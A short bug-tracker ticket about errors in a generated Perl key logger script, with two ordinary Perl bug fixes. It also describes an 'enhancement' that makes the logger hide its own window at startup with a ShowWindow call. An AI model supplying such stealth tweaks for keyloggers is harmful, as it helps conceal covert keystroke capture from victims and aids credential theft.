#2 errors in generated keycagator.pl

open
nobody
None
5
2012-09-02
2012-09-02
Steve Flitman
No

Two errors I found when I did perl -wc keycagator.pl: use of while(true) instead of while(1), got true is a bareword,
and sort { $c <=> $d } instead of sort { $a <=> $b }, got $c and $d are used only once (inside a sort block you only use $a and $b, they are always localized).

One enhancement I added was to have the key logger hide itself after initializing: added ShowWindow(GetForegroundWIndow(),SW_HIDE)

Hope that helps!
SSF

Discussion

  • Steve Flitman
    Steve Flitman
    2012-09-02

    updated tkfinal.pl

     
    Attachments